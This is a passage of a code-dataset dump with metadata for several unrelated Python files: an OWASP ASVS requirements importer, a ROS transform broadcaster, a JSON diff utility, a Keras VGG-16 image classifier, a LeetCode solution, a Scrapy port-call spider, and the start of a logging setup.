32, "usage_type": "call"}, {"api_name": "quilt.utils.File", "line_number": 34, "usage_type": "call"}, {"api_name": "quilt.push.Push", "line_number": 37, "usage_type": "call"}, {"api_name": "quilt.patch.Patch", "line_number": 48, "usage_type": "call"}, {"api_name": "quilt.patch.Patch", "line_number": 49, "usage_type": "call"}, {"api_name": "quilt.utils.TmpDirectory", "line_number": 53, "usage_type": "call"}, {"api_name": "quilt.utils.File", "line_number": 60, "usage_type": "call"}, {"api_name": "quilt.utils.File", "line_number": 62, "usage_type": "call"}, {"api_name": "quilt.push.Push", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "quilt.push.Push", "line_number": 86, "usage_type": "call"}, {"api_name": "quilt.error.AllPatchesApplied", "line_number": 87, "usage_type": "argument"}, {"api_name": "helpers.tmp_series", "line_number": 90, "usage_type": "call"}, {"api_name": "quilt.push.Push", "line_number": 93, "usage_type": "call"}, {"api_name": "six.assertRaisesRegex", "line_number": 94, "usage_type": "call"}, {"api_name": "quilt.error.QuiltError", "line_number": 95, "usage_type": "argument"}, {"api_name": "six.assertRaisesRegex", "line_number": 98, "usage_type": "call"}, {"api_name": "quilt.error.QuiltError", "line_number": 98, "usage_type": "argument"}, {"api_name": "helpers.tmp_series", "line_number": 104, "usage_type": "call"}, {"api_name": "quilt.push.Push", "line_number": 108, "usage_type": "call"}, {"api_name": "six.assertRaisesRegex", "line_number": 109, "usage_type": "call"}, {"api_name": "quilt.error.QuiltError", "line_number": 109, "usage_type": "argument"}, {"api_name": "six.assertRaisesRegex", "line_number": 113, "usage_type": "call"}, {"api_name": "quilt.error.QuiltError", "line_number": 113, "usage_type": "argument"}, {"api_name": "helpers.tmp_series", "line_number": 119, "usage_type": "call"}, {"api_name": "helpers.make_file", "line_number": 120, "usage_type": "call"}, {"api_name": "quilt.patch.Patch", "line_number": 125, "usage_type": "call"}, {"api_name": "quilt.push.Push", "line_number": 129, "usage_type": "call"}, {"api_name": "six.assertRaisesRegex", "line_number": 130, "usage_type": "call"}, {"api_name": "quilt.error.QuiltError", "line_number": 130, "usage_type": "argument"}, {"api_name": "quilt.db.Db", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "quilt.patch.Patch", "line_number": 142, "usage_type": "call"}, {"api_name": "helpers.make_file", "line_number": 143, "usage_type": "call"}, {"api_name": "helpers.make_file", "line_number": 149, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 156, "usage_type": "attribute"}, {"api_name": "os.dup", "line_number": 157, "usage_type": "call"}, {"api_name": "os.dup", "line_number": 158, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 159, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 160, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 164, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 165, "usage_type": "call"}, {"api_name": "os.close", "line_number": 166, "usage_type": "call"}, {"api_name": "os.close", "line_number": 167, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 151, "usage_type": "name"}]} +{"seq_id": "35390170125", "text": "import json\n\nfrom api import db\nfrom api.models import Tag, Topic, Requirement, ExtraEntry, ExtraType, \\\n Catalogue\n\ndb.drop_all()\ndb.create_all()\n\nwith open(\"scripts/asvs.json\") as f:\n asvs = json.load(f)\n\n\nl1 = Tag(name=\"Level 1\")\nl2 = Tag(name=\"Level 2\")\nl3 = Tag(name=\"Level 3\")\ntags = [l1, l2, l3]\n\n\nnist = ExtraType(title=\"NIST Ref\", extraType=1, description=\"NIST Reference\")\ncve = ExtraType(title=\"CVE Ref\", extraType=1, description=\"CVE Reference\")\n\nroot = Topic(key=asvs[\"ShortName\"], title=asvs[\"Name\"],\n description=asvs[\"Description\"])\n\ndb.session.add_all(tags)\ndb.session.add_all([nist, cve])\n\ndb.session.add(root)\n\ndb.session.commit()\n\nrootTopics = []\n\nfor itemL1 in asvs[\"Requirements\"]:\n parentL1 = Topic(\n key=itemL1[\"Shortcode\"],\n title=itemL1[\"ShortName\"],\n description=itemL1[\"Name\"],\n parent=root\n )\n db.session.add(parentL1)\n db.session.commit()\n rootTopics.append(parentL1)\n for itemL2 in itemL1[\"Items\"]:\n parentL2 = Topic(\n key=itemL2[\"Shortcode\"],\n title=itemL2[\"Name\"],\n description=itemL2[\"Name\"],\n parent=parentL1\n )\n db.session.add(parentL2)\n db.session.commit()\n for itemL3 in itemL2[\"Items\"]:\n t = []\n if itemL3[\"L1\"][\"Required\"] is True:\n t.append(l1)\n if itemL3[\"L2\"][\"Required\"] is True:\n t.append(l2)\n if itemL3[\"L3\"][\"Required\"] is True:\n t.append(l3)\n requirement = Requirement(\n key=itemL3[\"Shortcode\"],\n title=itemL3[\"Shortcode\"] + \" \" + itemL2[\"Name\"],\n description=itemL3[\"Description\"],\n parent=parentL2,\n tags=t\n )\n db.session.add(requirement)\n db.session.commit()\n if itemL3[\"CWE\"] != []:\n db.session.add(\n ExtraEntry(\n content=\"\\n\".join(str(n) for n in itemL3[\"CWE\"]),\n extraTypeId=cve.id, requirementId=requirement.id\n )\n )\n if itemL3[\"NIST\"] != []:\n db.session.add(\n ExtraEntry(\n content=\"\\n\".join(str(n) for n in itemL3[\"NIST\"]),\n extraTypeId=nist.id, requirementId=requirement.id\n )\n )\n db.session.commit()\n\ncatalogue = Catalogue(title=asvs[\"Name\"], description=asvs[\"Description\"],\n maxDepth=2, topics=rootTopics)\ndb.session.add(catalogue)\ndb.session.commit()\n", "repo_name": "dcfSec/ReqDB", "sub_path": "scripts/importASVS.py", "file_name": "importASVS.py", "file_ext": "py", "file_size_in_byte": 2645, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "api.db.drop_all", "line_number": 7, "usage_type": "call"}, {"api_name": "api.db", "line_number": 7, "usage_type": "name"}, {"api_name": "api.db.create_all", "line_number": 8, "usage_type": "call"}, {"api_name": "api.db", "line_number": 8, "usage_type": "name"}, {"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "api.models.Tag", "line_number": 14, "usage_type": "call"}, {"api_name": "api.models.Tag", "line_number": 15, "usage_type": "call"}, {"api_name": "api.models.Tag", "line_number": 16, "usage_type": "call"}, {"api_name": "api.models.ExtraType", "line_number": 20, "usage_type": "call"}, {"api_name": "api.models.ExtraType", "line_number": 21, "usage_type": "call"}, {"api_name": "api.models.Topic", "line_number": 23, "usage_type": "call"}, {"api_name": "api.db.session.add_all", "line_number": 26, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 26, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 26, "usage_type": "name"}, {"api_name": "api.db.session.add_all", "line_number": 27, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 27, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 27, "usage_type": "name"}, {"api_name": "api.db.session.add", "line_number": 29, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 29, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 29, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 31, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 31, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 31, "usage_type": "name"}, {"api_name": "api.models.Topic", "line_number": 36, "usage_type": "call"}, {"api_name": "api.db.session.add", "line_number": 42, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 42, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 42, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 43, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 43, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 43, "usage_type": "name"}, {"api_name": "api.models.Topic", "line_number": 46, "usage_type": "call"}, {"api_name": "api.db.session.add", "line_number": 52, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 52, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 52, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 53, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 53, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 53, "usage_type": "name"}, {"api_name": "api.models.Requirement", "line_number": 62, "usage_type": "call"}, {"api_name": "api.db.session.add", "line_number": 69, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 69, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 69, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 70, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 70, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 70, "usage_type": "name"}, {"api_name": "api.db.session.add", "line_number": 72, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 72, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 72, "usage_type": "name"}, {"api_name": "api.models.ExtraEntry", "line_number": 73, "usage_type": "call"}, {"api_name": "api.db.session.add", "line_number": 79, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 79, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 79, "usage_type": "name"}, {"api_name": "api.models.ExtraEntry", "line_number": 80, "usage_type": "call"}, {"api_name": "api.db.session.commit", "line_number": 85, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 85, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 85, "usage_type": "name"}, {"api_name": "api.models.Catalogue", "line_number": 87, "usage_type": "call"}, {"api_name": "api.db.session.add", "line_number": 89, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 89, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 89, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 90, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 90, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 90, "usage_type": "name"}]} +{"seq_id": "6334164711", "text": "#!/usr/bin/env python\nimport rospy\nimport math\nimport tf\n\nif __name__ == '__main__':\n rospy.init_node('kinect_locator')\n\n br = tf.TransformBroadcaster()\n rate = rospy.Rate(10)\n while not rospy.is_shutdown():\n br.sendTransform((0, 0, 0),\n tf.transformations.quaternion_from_euler(-math.pi / 2, 0, 0),\n rospy.Time.now(),\n \"kinect2_rgb_optical_frame\",\n \"map\")\n br.sendTransform((0, 0, 0),\n tf.transformations.quaternion_from_euler(0, 0, 0),\n rospy.Time.now(),\n \"kinect2_ir_optical_frame\",\n \"kinect2_rgb_optical_frame\")\n rate.sleep()\n rospy.spin()\n\n", "repo_name": "brentyi/marshmellow_localization", "sub_path": "scripts/kinect_locator.py", "file_name": "kinect_locator.py", "file_ext": "py", "file_size_in_byte": 773, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rospy.init_node", "line_number": 7, "usage_type": "call"}, {"api_name": "tf.TransformBroadcaster", "line_number": 9, "usage_type": "call"}, {"api_name": "rospy.Rate", "line_number": 10, "usage_type": "call"}, {"api_name": "rospy.is_shutdown", "line_number": 11, "usage_type": "call"}, {"api_name": "tf.transformations.quaternion_from_euler", "line_number": 13, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 13, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 14, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tf.transformations.quaternion_from_euler", "line_number": 18, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 18, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 19, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rospy.spin", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "15655219063", "text": "import json\n\nfrom deepdiff import DeepDiff\n\n\"\"\"\" This class basically compares json file. \nIf files are equal ,it prints {} else, it prints differences\"\"\"\n\n\nclass CompareFile:\n\n def __init__(self, file1, file2):\n with open(file1, 'r') as f:\n self.json1 = json.load(f)\n with open(file2, 'r') as f:\n self.json2 = json.load(f)\n\n def difference(self):\n print(DeepDiff(self.json1, self.json2, ignore_order=True))\n", "repo_name": "reshmaattar/aws", "sub_path": "src/classes/utility.py", "file_name": "utility.py", "file_ext": "py", "file_size_in_byte": 457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "deepdiff.DeepDiff", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "20625811908", "text": "import os, glob, math, cv2, time\nimport numpy as np\nfrom joblib import Parallel, delayed\nos.environ['THEANO_FLAGS'] = \"device=gpu,floatX=float32\"\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten, MaxoutDense\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D, Convolution1D, MaxPooling1D, ZeroPadding2D\nfrom keras.optimizers import SGD, Adam, Adamax\nfrom keras.callbacks import EarlyStopping\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras import backend as K\nfrom sklearn.cross_validation import train_test_split\nimport pandas as pd\n\n\n\ndef process_image(img_file, sz = (200,200)):\n img = cv2.imread(img_file)\n img = cv2.resize(img, sz).astype('float32') / 255.0\n return img\n\n\ndef get_X_y():\n start = time.time()\n\n X = []\n y = []\n\n for j in range(10):\n print('Load folder c{}'.format(j))\n path = os.path.join('imgs/train', 'c' + str(j), '*.jpg')\n files = glob.glob(path)\n X.extend(Parallel(n_jobs=-1)(delayed(process_image)(im_file) for im_file in files))\n y.extend([j]*len(files))\n\n end = time.time() - start\n print(\"Time: %.2f seconds\" % end)\n return np.array(X), np.array(y)\n\n\ndef process_test_image(img_file):\n return process_image(img_file), os.path.basename(img_file)\n\n\ndef get_test_data():\n start = time.time()\n test = []\n test_id = []\n path = os.path.join('imgs/test', '*.jpg')\n files = glob.glob(path)\n results = Parallel(n_jobs=-1)(delayed(process_test_image)(im_file) for im_file in files)\n test, test_id = zip(*results)\n end = time.time() - start\n print(\"Time: %.2f seconds\" % end)\n print(len(test))\n return test, test_id\n\n\ndef VGG_16(X_train, y_train, X_test, y_test, batch_size = 20, nb_classes = 10, nb_epoch = 100):\n model = Sequential()\n model.add(ZeroPadding2D((1,1),input_shape=X_train[0].shape))\n model.add(Convolution2D(64, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(64, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(MaxPooling2D((2,2), strides=(2,2)))\n\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(128, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(128, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(MaxPooling2D((2,2), strides=(2,2)))\n\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(256, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(256, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(256, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(MaxPooling2D((2,2), strides=(2,2)))\n\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(512, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(512, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(512, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(MaxPooling2D((2,2), strides=(2,2)))\n\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(512, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Convolution2D(512, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n model.add(ZeroPadding2D((1,1)))\n #model.add(Convolution2D(512, 3, 3, border_mode='valid', activation='relu', init='glorot_normal'))\n #model.add(MaxPooling2D((2,2), strides=(2,2)))\n\n model.add(Flatten())\n model.add(Dense(4096, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(4096, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(10, activation='softmax'))\n\n #sgd = SGD(lr=0.005, decay = 1e-6, momentum = 0.9, nesterov=True)\n sgd = SGD(lr=0.1, decay=1e-6, momentum=0.9, nesterov=True)\n\n # initializes early stopping callback\n early_stopping = EarlyStopping(monitor='val_loss', patience=2, verbose=1, mode='auto')\n\n model.compile(loss = 'categorical_crossentropy', optimizer = sgd)\n\n model.fit(X_train, y_train, show_accuracy=True, verbose=1,\n callbacks = [early_stopping], batch_size= batch_size, nb_epoch=nb_epoch,\n validation_data=(X_test, y_test))\n\n return model, model.evaluate(X_test, y_test, show_accuracy=True, verbose=1)\n\n\ndef convert_targets(targets):\n '''\n input: targets (1D np array of strings)\n output: targets dummified category matrix\n note: targets are indexed as ['elliptical', 'merger', 'spiral']\n '''\n return pd.get_dummies(targets).values\n\n\nif __name__ == '__main__':\n X,y = get_X_y()\n X = np.array(X)\n y=np.array(y)\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2,\n random_state=42, stratify = y)\n y_train, y_test = convert_targets(y_train), convert_targets(y_test)\n model, results = vgg_net.VGG_16(X_train, y_train, X_test, y_test, batch_size = 20, nb_classes = 10, nb_epoch = 40)\n test, test_id = get_test_data()\n test_prediction = model.predict(test, batch_size=128, verbose=1)\n df = pd.DataFrame(test_prediction, columns=['c0', 'c1', 'c2', 'c3', 'c4', 'c5', 'c6', 'c7', 'c8', 'c9'])\n df.insert(0, 'img', test_id)\n df.to_csv('submission.csv', index = False)\n", "repo_name": "scsherm/Distracted_driving_keras", "sub_path": "vgg_net.py", "file_name": "vgg_net.py", "file_ext": "py", "file_size_in_byte": 5687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 19, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 32, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 33, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 50, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 51, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 51, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 61, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 92, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.ZeroPadding2D", "line_number": 93, "usage_type": "call"}, {"api_name": "keras.layers.core.Flatten", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 99, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 100, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.optimizers.SGD", "line_number": 105, "usage_type": "call"}, {"api_name": "keras.callbacks.EarlyStopping", "line_number": 108, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 131, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.train_test_split", "line_number": 132, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 138, "usage_type": "call"}]} +{"seq_id": "70438779848", "text": "\"\"\"\n910. 最小差值 II\n给定一个整数数组 A，对于每个整数 A[i]，我们可以选择 x = -K 或是 x = K，并将 x 加到 A[i] 中。\n\n在此过程之后，我们得到一些数组 B。\n\n返回 B 的最大值和 B 的最小值之间可能存在的最小差值。\n\n \n\n示例 1：\n\n输入：A = [1], K = 0\n输出：0\n解释：B = [1]\n示例 2：\n\n输入：A = [0,10], K = 2\n输出：6\n解释：B = [2,8]\n示例 3：\n\n输入：A = [1,3,6], K = 3\n输出：3\n解释：B = [4,6,3]\n \n\n提示：\n\n1 <= A.length <= 10000\n0 <= A[i] <= 10000\n0 <= K <= 10000\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/smallest-range-ii\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def smallestRangeII(self, A: List[int], K: int) -> int:\n # 记得画图\n A.sort()\n n = len(A)\n ans = A[-1] - A[0]\n for i in range(n - 1):\n min_ = min(A[0] + K, A[i + 1] - K)\n max_ = max(A[i] + K, A[-1] - K)\n ans = min(ans, max_ - min_)\n return ans\n\n\nif __name__ == '__main__':\n A = [1, 3, 6]\n K = 3\n print(Solution().smallestRangeII(A, K))\n", "repo_name": "yiming1012/MyLeetCode", "sub_path": "LeetCode/贪心算法/910. 最小差值 II.py", "file_name": "910. 最小差值 II.py", "file_ext": "py", "file_size_in_byte": 1242, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 42, "usage_type": "name"}]} +{"seq_id": "44241364950", "text": "from scrapy import Spider\n\nfrom kp_scrapers.lib.parser import row_to_dict\nfrom kp_scrapers.models.normalize import DataTypes\nfrom kp_scrapers.spiders.port_authorities import PortAuthoritySpider\nfrom kp_scrapers.spiders.port_authorities.topolobampo import normalize, parser\n\n\nclass TopolobampoSpider(PortAuthoritySpider, Spider):\n name = 'Topolobampo'\n provider = 'Topolobampo'\n version = '1.2.0'\n produces = [DataTypes.PortCall, DataTypes.Vessel, DataTypes.Cargo]\n\n start_urls = ['https://www.puertotopolobampo.com.mx/archivos/programacion.php']\n\n reported_date = None\n\n def parse(self, response):\n \"\"\"Dispatch response to corresponding callback given URL.\n\n Args:\n response (scrapy.HtmlResponse):\n\n Yields:\n dict[str, str]:\n\n \"\"\"\n table, headers = parser.extract_table_and_headers(response)\n # memoise reported_date so it won't have to be called repeatedly for each row\n reported_date = parser.extract_reported_date(response)\n\n for row in parser.extract_rows_from_table(table):\n if len(row.xpath('.//td')) == len(headers):\n raw_item = row_to_dict(row, headers)\n # contextualise raw item with meta info\n raw_item.update(\n port_name=self.name, provider_name=self.provider, reported_date=reported_date\n )\n\n yield normalize.process_item(raw_item)\n", "repo_name": "theHausdorffMetric/test", "sub_path": "kp_scrapers/spiders/port_authorities/topolobampo/spider.py", "file_name": "spider.py", "file_ext": "py", "file_size_in_byte": 1448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "kp_scrapers.spiders.port_authorities.PortAuthoritySpider", "line_number": 9, "usage_type": "name"}, {"api_name": "scrapy.Spider", "line_number": 9, "usage_type": "name"}, {"api_name": "kp_scrapers.models.normalize.DataTypes.PortCall", "line_number": 13, "usage_type": "attribute"}, {"api_name": "kp_scrapers.models.normalize.DataTypes", "line_number": 13, "usage_type": "name"}, {"api_name": "kp_scrapers.models.normalize.DataTypes.Vessel", "line_number": 13, "usage_type": "attribute"}, {"api_name": "kp_scrapers.models.normalize.DataTypes.Cargo", "line_number": 13, "usage_type": "attribute"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.parser.extract_table_and_headers", "line_number": 29, "usage_type": "call"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.parser", "line_number": 29, "usage_type": "name"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.parser.extract_reported_date", "line_number": 31, "usage_type": "call"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.parser", "line_number": 31, "usage_type": "name"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.parser.extract_rows_from_table", "line_number": 33, "usage_type": "call"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.parser", "line_number": 33, "usage_type": "name"}, {"api_name": "kp_scrapers.lib.parser.row_to_dict", "line_number": 35, "usage_type": "call"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.normalize.process_item", "line_number": 41, "usage_type": "call"}, {"api_name": "kp_scrapers.spiders.port_authorities.topolobampo.normalize", "line_number": 41, "usage_type": "name"}]} +{"seq_id": "14335128364", "text": "import os, sys\nimport logging \nfrom logging.handlers import RotatingFileHandler\n\n# global log object\nlogger = None\nreport = None\n\ndef log_init():\n\t# create log path\n\tlogs_dir = os.path.join(os.path.curdir, \"logs\")\n\tif os.path.exists(logs_dir) and os.path.isdir(logs_dir):\n\t\tpass\n\telse:\n\t\tos.mkdir(logs_dir)\n\n\t#init logger for normal log\n\tglobal logger\n\tif logger is None:\n\t\tlogger = logging.getLogger('')\n\n\t\tformatter = logging.Formatter('%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s', '%a, %d %b %Y %H:%M:%S')\n\n\t\tfile_handler = RotatingFileHandler(\"./logs/autotest.log\", maxBytes=10*1024*1024, backupCount=5)\n\t\tfile_handler.setLevel(logging.DEBUG)\n\t\tfile_handler.setFormatter(formatter)\n\n\t\tconsole_handler = logging.StreamHandler(sys.stderr) \n\t\tconsole_handler.setLevel(logging.ERROR)\n\t\tconsole_handler.setFormatter(formatter)\n\t\n\t\tlogger.setLevel(logging.DEBUG)\n\t\tlogger.addHandler(file_handler)\n\t\tlogger.addHandler(console_handler)\n\n\t# init report for report log\n\tglobal report\n\tif report is 